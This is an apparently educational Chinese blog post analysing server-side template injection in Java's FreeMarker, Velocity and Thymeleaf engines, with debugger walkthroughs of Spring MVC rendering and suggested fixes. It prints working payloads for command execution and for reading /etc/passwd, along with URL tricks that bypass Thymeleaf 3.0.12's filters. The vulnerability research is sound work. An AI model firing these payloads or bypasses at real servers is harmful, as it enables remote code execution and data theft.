Java OWASP SSTI 学习
Drunkbaby Lv6

Java SSTI 学习

0x01 前言

最近和 F1or 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。

  • 有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。

三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。

0x02 FreeMarker SSTI

FreeMarker 官网:http://freemarker.foofun.cn/index.html

对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本

FreeMarker 基础语法

关于文本与注释,本文不再强调,重点看插值与 FTL 指令。

插值

  • 插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出

比如这一个 .ftl 文件

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>  
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>
  • 那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数

FTL 指令

FTL 指令以 # 开头,其他语法和 HTML 大致相同。

我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。

https://freemarker.apache.org/

FreeMarker SSTI 成因与攻击面

看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。

  • 将 HTML 语句放到服务器上有两种方法:
  • 1、文件上传 HTML 文件。
  • 2、若某 CMS 自带有模板编辑功能,这种情况非常多。

因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的

在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。

环境搭建

  • 一些开发的基本功,因篇幅限制,我也不喜放这些东西,贴个项目地址吧

https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview

漏洞复现

前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我

payload:

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。

漏洞复现如图

漏洞分析

我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。

下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试

跟进 super.createView()

进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。

buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了)

继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法

checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。

跟进 getTemplate() 方法

首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate

这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。

跟进 getTemplateInternal()

先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法

这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy

代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。

这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。

org.springframework.web.servlet.DispatcherServlet#doDispatch 流程

handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。

调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender

跟进 this.processTemplate()

跟进 process()

  • process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。

process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。

在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进

跟进 calculateInterpolatedStringOrMarkup() 方法

calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法

eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下

而对于 ftl 表达式来说,accept 方法是这样的

跟进一下 accept() 方法

做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval()

我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于

1
2
3
4
5
Object result = targetMethod.exec(argumentStrings);

// 等价于

Object result = freemarker.template.utility.Execute.exec(argumentStrings);

而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。

命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图

至此,分析结束,很有意思的一个流程分析。

FreeMarker SSTI 的攻防二象性

我们目前的 PoC 是这么打的

1
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— newapi

内置函数 new

可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现  TemplateModel 接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

API

value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。
但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。

  • 由此我们可以构造出一系列的 bypass PoC

POC1

1
2
3
4
5
6
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}

POC2

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}

POC3

1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")

POC4

1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

读取文件

1
2
3
4
5
6
7
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
1
2
3
4
5
6
7
8
9
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。

2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

  • 比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload

FreeMarker SSTI 修复

因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package freemarker;

import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;

public class freemarker_ssti {
public static void main(String[] args) throws Exception {

//设置模板
HashMap<String, String> map = new HashMap<String, String>();
String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
System.out.println(poc);
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration();
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
//cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//处理解析模板
Template Template_name = cfg.getTemplate("name");
StringWriter stringWriter = new StringWriter();

Template_name.process(Template_name,stringWriter);


}
}

0x03 Velocity SSTI

基本语法

# 关键字
Velocity关键字都是使用 #开头的,如 #set#if#else#end#foreach
$变量
Velocity变量都是使用$开头的,如:$name$msg
{}变量
Velocity对于需要明确表示的Velocity变量,可以使用 {} 将变量包含起来。
变量
如果某个Velocity变量不存在,那么页面中就会显示$xxx的形式,为了避免这种形式,可以在变量名称前加上!。如页面中含有$msg,如果msg有值,将显示msg的值;如果不存在就会显示$msg。这是我们不希望看到的,为了把不存在的变量显示为空白,可以使用$!msg

直接打是可以的,当然配合 FJ 更优雅。

此处的攻击面还是以文件上传和模板编写为主,在 jpress 的代码审计当中,师傅们可以看到那就是一个模板编写的攻击手法。

漏洞复现

这已在 jpress 中分析过了,不再赘述,对应地址:https://xz.aliyun.com/t/11832#toc-4,虽然那个框架是 jBoot,但是总体上是大差不差的

0x04 Thymeleaf SSTI

Thymeleaf 语法基础

Thymeleaf 表达式可以有以下类型:

  • ${...}:变量表达式 —— 通常在实际应用,一般是OGNL表达式或者是 Spring EL,如果集成了Spring的话,可以在上下文变量(context variables )中执行
  • *{...}: 选择表达式 —— 类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。
  • #{...}: Message (i18n) 表达式 —— 允许从外部源(比如.properties文件)检索特定于语言环境的消息
  • @{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径(URL重写)。
  • ~{...}:片段表达式 —— Thymeleaf 3.x 版本新增的内容,分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式,片段可以被复制,或者作为参数传递给其他模板等等

实际上,Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个片段表达式,我们知道片段表达式语法如下:

  • Thymeleaf SSTI 本质上还是 SpEL 表达式注入。

实际上,只有 3.x 版本的 Thymeleaf 才会受到影响,因为在 2.x 中renderFragment的核心处理方法是这样的:

1
2
3
4
5
6
7
8
9
10
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
Configuration configuration = viewTemplateEngine.getConfiguration();
ProcessingContext processingContext = new ProcessingContext(context);
templateCharacterEncoding = getStandardDialectPrefix(configuration);
StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, "fragment");
if (fragment == null) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
...

并没有3.x 版本中对于片段表达式(~{)的处理,也因此不会造成 SSTI 漏洞,以下是 SpringBoot 默认引用的 thymeleaf 版本

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11

先用这一 EXP 打

1
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("Calc").getInputStream()).next()%7d__::.x

Spring MVC 对于 Thymeleaf 的解析流程

  • 大致流程图可以参照下图

下个断点在 org.springframework.web.servlet.DispatcherServlet#doService,因为 DispatcherServlet 是 Spring 对前端控制器的默认拦截器。

获取 Handler

到 429 行,调用了 this.doDispatch() 方法,去寻找对应的 Handler Mappings,再由 Handle Mapping 返回 Controller,再去寻找对应的 Controller

要寻找对应的 Handler Mappings,需要先获取到 Handler,所以在第 484 行调用了 getHandler() 方法,跟进一下。

现在我们的 Handler Mappings 里存在五个 Handler,程序会通过迭代器进行遍历,我们跟进一下具体 Handler 的 getHandler() 方法做了什么业务。

再跟进 getHandlerInternal() 方法,以及跟进父类的 getHandlerInternal() 方法

关注一下返回值,是 var4,而 var4 是通过 this.lookupHandlerMethod() 调用获得的。所以此处,我们跟进 lookupHandlerMethod() 方法

lookupHandlerMethod() 方法首先把 Web 应用程序被访问的子域拿出来,保存到一个数字当中,这个子域的变量名为 lookupPath,如果无法通过 uri 进行直接匹配,则对所有的注册的 RequestMapping 进行匹配。

这里无法通过 uri 匹配的情况主要有三种:

1
2
3
// ①在RequestMapping中定义的是PathVariable,如/user/detail/{id}; 
// ②在RequestMapping中定义了问号表达式,如/user/?etail;
// ③在RequestMapping中定义了*或**匹配,如/user/detail/** // No choice but to go through all mappings...

获取 Controller 并返回 Model And View

使用一个比较器,对匹配的结果进行排序,获取相似度最高的一个作为结果返回,也就是 get(0),而当存在两个匹配结果重合度一致的时候,抛出异常。这里匹配的结果是去 Controller 当中找的,寻找哪个接口与 path 最符合,因为有时候接口名相同,但传参不同。

很明显看到这里,返回的是 GET /path

  • 至此,getHandler() 的分析流程结束了,我们能够很明显的看出来它是在做 Handler Mapping 的获取与比对的操作,是为了下一步 Controller 服务的。

回到 DispatcherServlet 一路往下走,到第 490 行,跟进 getHandlerAdapter() 方法看一下。

找到目标处理器的适配器,用适配器执行目标方法。继续往下走,调用 applyPreHandle() 方法做了一个预处理。跟进 interceptor.preHandle()

  • 基本上的正常请求都是会返回 true 的,一些非常规请求很可能返回 false

回到 DispatcherServlet,在它的第 504 行,进行了 handle 处理,实现执行 Controller 中 (Handler) 的方法,返回 ModelAndView 视图。跟进

跟进至 invokeHandlerMethod(),才到了真正的业务方法。

invokeHandlerMethod() 方法先执行目标的 HandlerMethod,并返回一个 ModelAndView 对象。比较重要的方法在第 520 行,此处的 handlerMethod 其实是 com.drunkbaby.ssti.controller.ThymeleafController#path(String),这一个方法,通过 this.createInvocableHandlerMethod() 方法,将其封装成 ServletInvocableHandlerMethod 类,并让其具有 invoke 执行能力。

后续,给 invocableMethod 的各大属性赋值,在赋值完毕后 new 了一个 ModelAndViewContainer 对象,后续会将所有的值保存到这一个对象中。

往下走,先调用 AsyncWebRequest 进行异步请求的包装,后续针对是否是异步请求,做不同的处理。继续往下走,到 553 行的地方是关键点,它调用了 ServletInvocableHandlerMethod.invokeAndHandle() 方法,调用这个方法的作用主要是获取到了 returnValueHandlers,跟进看一下。

跟进 invokeForRequest(),先获取到参数,再调用 this.doInvoke()

跟进 doInvoke(),会反射调用路由中类中的方法,并将参数进行传递

此处 f8,会走到我们定义接口的方法中去。

执行完毕后,回到 org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod,一路往下走,到第 69 行,调用了 handleReturnValue(),跟进 handler.handleReturnValue()

上面判断如果redirect:开头,如果是的话则设置重定向的属性

回到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod

这里调用 this.getModelAndView 获取获取 ModelAndView 对象

View Resolver 与执行模板渲染

  • 目前程序已获取到了 ModelAndView,应当进行下一步的模板渲染工作了,回到 org.springframework.web.servlet.DispatcherServlet#doDispatch 方法。

之前断点是下在 504 行的位置 ———— ha.handle() 处,我们继续往下走,到第 510 行,调用了 mappedHandler.applyPostHandle() 方法,mappedHandler 是一个 HandlerExecutionChain,类似于处理器的执行链。

遍历执行拦截器postHandle,与之前获取 Handler 的流程是一致的。遍历拦截器的过程在 mvc 架构当中非常常见,比如 S2 系列的漏洞分析,也会经过拦截器的遍历。

在遍历结束后,会走到 this.processDispatchResult() 这里,它会将 Dispatch 的结果进行加工处理,猜测这里很可能会做视图解析与渲染的工作。跟进一下

在判断完 ModelAndView 不为空之后,调用 render() 方法,render() 方法在 Java 的模板引擎当中一般都是作为模板渲染的方法,跟进一下。

就简单分析一下代码,前面做的是一些国际化的判断,以及赋值等,将一些属性都放到 view 这个对象当中。

往下分析,到第 739 行,通过自己的模板引擎进行渲染,如果此处是 FreeMarker,就会去 FreeMarkerView.render(),如果是 Velocity,就会去 VelocityView.render(),我们此处是 Thymeleaf,会去到 ThymeleafView.render(),跟进。

跟进 renderFragment() 方法。在第 101 行,判断 getTemplateName 当中是否存在 :: 这一字符,如果不存在,则不做解析处理。

继续往下走,第 109 行,调用了 (FragmentExpression)parser.parseExpression(),对我们输入的这一串字符进行了处理。

继续跟进 StandardExpressionPreprocessor.preprocess()

  • 先判断,input 里面是否有存在 _ 字符,如果不存在则直接返回,不做解析处理。

接着,调用 PREPROCESS_EVAL_PATTERN.matcher(input);,进行正则提取,这里提取的是 _ 中间的内容。

提取后获取到的内容是 ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("Calc").getInputStream()).next()}

继续往下走,到了 expression.execute(),也就是命令执行的地方,语句就变成了

1
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("Calc").getInputStream()).next().execute()

至此分析过程结束。

Thymeleaf SSTI Bypass

以下内容大多数摘自 https://www.cnpanda.net/sec/1063.html

在正常攻击,毫无防护的时候,我们的 PoC 是这样的

1
2
3
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x

__${T(java.lang.Thread).sleep(10000)}__::...

__xxx__ 作为 PoC 主要部分,以 :: 结尾

针对上文中的 SSSTI 漏洞,Thymeleaf 实际上做了修复

传参检测与绕过

先说 payload

1
/path?lang=__$%7bnew%20java.util.Scanner(T%20(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

在 3.0.12 版本,Thymeleaf 在 util目录下增加了一个名为SpringStandardExpressionUtils.java的文件:

在该文件中,就有说明:

当调用表达式的时候,会经过该函数的判断:

来看看该函数,可以看到其主要逻辑是首先 倒序检测是否包含 wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static boolean containsSpELInstantiationOrStatic(final String expression) {

final int explen = expression.length();
int n = explen;
int ni = 0; // index for computing position in the NEW_ARRAY
int si = -1;
char c;
while (n-- != 0) {

c = expression.charAt(n);

if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true; // we found an object instantiation
}
continue;
}

if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
// This has to be restarted too
si = -1;
}
continue;
}

ni = 0;

if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}

}
return false;
}

因此要绕过这个函数,只要满足三点:
1、表达式中不能含有关键字 new
2、在(的左边的字符不能是T
3、不能在T(中间添加的字符使得原表达式出现问题

三梦师傅给出的答案是 %20(空格),在 panda 师傅研究中发现其实还有 %0a(换行)、%09(制表符),此外,通过 fuzzing 同样可以找到很多可以利用的字符

url 路径的 Thymeleaf SSTI 攻防

对于 url 路径的 Thymeleaf,其实就是这一个接口

1
2
3
4
5
@GetMapping("/doc/{document}")  
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
  • 在 Thymeleaf 3.0.12 版本当中对这一漏洞也进行了修复。

实际上在 3.0.12 版本,除了加了SpringStandardExpressionUtils.java,同样还增加了 SpringRequestUtils.java文件:

如果视图名称包含在 URL 的路径或参数中,请避免将视图名称作为片段表达式执行

意思就是如果视图的名字和 path 一致,那么就会经过 SpringRequestUtils.java 中的 checkViewNameNotInRequest 函数检测:

可以看到,如果 requestURI 不为空,并且不包含 vn 的值,即可进入判断,从而经过 checkViewNameNotInRequest 的“良民”认证。

首先按照上文中的 Poc:

1
__${T%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)}__::.x/

我们可以得到 vn 的值为doc/__${newjava.util.scanner(t(java.lang.runtime).getruntime().exec("calc").getinputstream()).next()}__::,并且此时我们的 found 为 true,意思就是在 vn 当中存在恶意性的字符,我们的目标是让 found 为 false,以及绕过检测。

思考一下比较流行与常规的绕过方式:大小写绕过,Unicode 绕过,URL 绕过,在尝试之后都失败了。

那么是不是么办法了?答案是否定的(废话,三梦师傅给出了答案)

我们先看 requestURI 是怎么来的:

跟进 unescapeUriPath 方法,再跟进 UriEscapeUtil.unescape()

该函数首先检测传入的字符中是否是%(ESCAPE_PREFIX)或者+,如果是,那么进行二次处理:

  • +转义成空格
  • 如果%的数量大于一,需要一次将它们全部转义

处理完毕后,将处理后的字符串返还回

如果实际不需要unescape,那么不经过处理,直接返回原始字符串对象

最终,就得到了 requestURI,看似相当合理,既然没有特殊的地方,那么我们只需要思考,如何从正面令requestURI.contains(vn)为假,即令requestURI不等于home/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x即可

这件事本质是令两个字符串不相等,并且要满足路由条件(/home/*路径下)

那么结论就来了

Bypass 技巧 1:

这也是三梦师傅在群里提到的

1
home;/__${t(java.lang.runtime).getruntime().exec("open-acalculator")}__::.x

只需要在 home 的后面加上一个分号即可

这是因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认是禁用状态:

如果发现路径中存在分号,那么会调用 removeSemicolonContent() 方法来移除分号

这样一来使得传入的字符和 vn 不相同,并且又满足路由条件!成功绕过 checkViewNameNotInRequest 的检测

Bypass 技巧 2:

这个 Bypass 是 panda 师傅分析的时候想到的,前面也提到了,我们的实际目标就是令两个字符串不相等,并且要满足路由条件(/home/*路径下),那么:

home//__${t(java.lang.runtime).getRuntime().exec("open-acalculator")}__::.xhome/__${t(java.lang.runtime).getRuntime().exec("open-acalculator")}__::.x 不相等,并且满足路由条件!完美!(原理不用解释了吧)

Thymeleaf SSTI 无回显问题

  • 这一个无回显问题其实应该算是一种攻击手法了,有点坑,这里提一嘴。

对应的接口:

1
2
3
4
5
6
7
8
9
@GetMapping("/path")  
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

出现的场景是在片段选择器 templatename::selector 下。fragment 中 payload 前面有::,所以 payload 在 selector 位置,这里会抛异常,导致没法回显成功。而在templatename位置不会。

只是无法回显,但依旧可以进行命令执行。

防御措施

1、配置@ResponseBody或者@RestController,经以上注解后不会进行View解析而是直接返回。
2、在方法参数中加上 HttpServletResponse参数 ,此时spring会认为已经处理了response响应而不再进行视图解析。
3、在返回值前面加上 “redirect:“——经RedirectView处理。

0x05 小结

挺有意思的,但是也难,仿佛看到了当时复现 log4j2 的攻防二象性。

0x06 Ref

https://www.cnblogs.com/nice0e3/p/16212784.html
https://tttang.com/archive/1412
https://www.cnpanda.net/sec/1063.html

 评论